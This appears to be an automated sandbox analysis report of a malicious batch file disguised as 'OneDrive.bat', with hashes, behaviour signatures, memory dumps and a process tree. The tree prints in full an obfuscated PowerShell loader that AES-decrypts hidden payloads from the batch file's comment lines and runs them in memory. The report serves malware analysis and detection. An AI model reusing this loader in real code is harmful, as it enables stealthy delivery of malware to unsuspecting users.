Analysis

  • max time kernel
    12s
  • max time network
    13s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2024 02:17

General

  • Target

    OneDrive.bat

  • Size

    1.3MB

  • MD5

    6751f819cf5b4df6f0b3ef0c4d67df70

  • SHA1

    253fb36b79aeba90a296fe97c0036c52df2c60bc

  • SHA256

    c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e

  • SHA512

    07714e6bc30a72865f75297ab9fa6725b8cc817b4839bd2551e683ecab513920ac266ac498cbc9d90638b31ef3d087d7d2bcb19a69604ecaaf46d47ea0eccaa9

  • SSDEEP

    24576:w8jhgFN6tS6yfyTTQCAKcJSmq4Iu1uaQg/8UHSx99Busn/eE3as:wpu2yTtJ6AgJcAsn/bas

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 32 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OneDrive.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lH0qoilpQ2ZsY8zf17BB+J/QzZZKgDT5mpOAWjfqrdk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kuH5GYB2aEsnfiIMYsfruA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aDBue=New-Object System.IO.MemoryStream(,$param_var); $sQlXi=New-Object System.IO.MemoryStream; $qsRvI=New-Object System.IO.Compression.GZipStream($aDBue, [IO.Compression.CompressionMode]::Decompress); $qsRvI.CopyTo($sQlXi); $qsRvI.Dispose(); $aDBue.Dispose(); $sQlXi.Dispose(); $sQlXi.ToArray();}function execute_function($param_var,$param2_var){ $SCIaU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TaffC=$SCIaU.EntryPoint; $TaffC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\OneDrive.bat';$kLrvB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\OneDrive.bat').Split([Environment]::NewLine);foreach ($RVWSd in $kLrvB) { if ($RVWSd.StartsWith(':: ')) { $WlsSp=$RVWSd.Substring(3); break; }}$payloads_var=[string[]]$WlsSp.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4292
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zl5h42bj.d3v.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/864-31-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-30-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-36-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-38-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-39-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-40-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-41-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-42-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-37-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/864-32-0x000002200E230000-0x000002200E231000-memory.dmp

    Filesize

    4KB

  • memory/4292-17-0x0000000005B50000-0x0000000005B6E000-memory.dmp

    Filesize

    120KB

  • memory/4292-19-0x00000000083C0000-0x0000000008A3A000-memory.dmp

    Filesize

    6.5MB

  • memory/4292-21-0x0000000005F60000-0x0000000005F68000-memory.dmp

    Filesize

    32KB

  • memory/4292-22-0x0000000007DC0000-0x0000000007EB4000-memory.dmp

    Filesize

    976KB

  • memory/4292-3-0x0000000004EC0000-0x00000000054E8000-memory.dmp

    Filesize

    6.2MB

  • memory/4292-5-0x0000000004E40000-0x0000000004EA6000-memory.dmp

    Filesize

    408KB

  • memory/4292-20-0x0000000006120000-0x000000000613A000-memory.dmp

    Filesize

    104KB

  • memory/4292-26-0x0000000004A10000-0x0000000004A18000-memory.dmp

    Filesize

    32KB

  • memory/4292-29-0x0000000074740000-0x0000000074EF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4292-25-0x000000000CFF0000-0x000000000D594000-memory.dmp

    Filesize

    5.6MB

  • memory/4292-0-0x000000007474E000-0x000000007474F000-memory.dmp

    Filesize

    4KB

  • memory/4292-18-0x0000000005B70000-0x0000000005BBC000-memory.dmp

    Filesize

    304KB

  • memory/4292-2-0x0000000074740000-0x0000000074EF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4292-12-0x00000000055E0000-0x0000000005934000-memory.dmp

    Filesize

    3.3MB

  • memory/4292-1-0x00000000046D0000-0x0000000004706000-memory.dmp

    Filesize

    216KB

  • memory/4292-6-0x0000000005570000-0x00000000055D6000-memory.dmp

    Filesize

    408KB

  • memory/4292-24-0x00000000049A0000-0x00000000049AE000-memory.dmp

    Filesize

    56KB

  • memory/4292-4-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

    Filesize

    136KB

  • memory/4292-23-0x0000000007EB0000-0x0000000007FBA000-memory.dmp

    Filesize

    1.0MB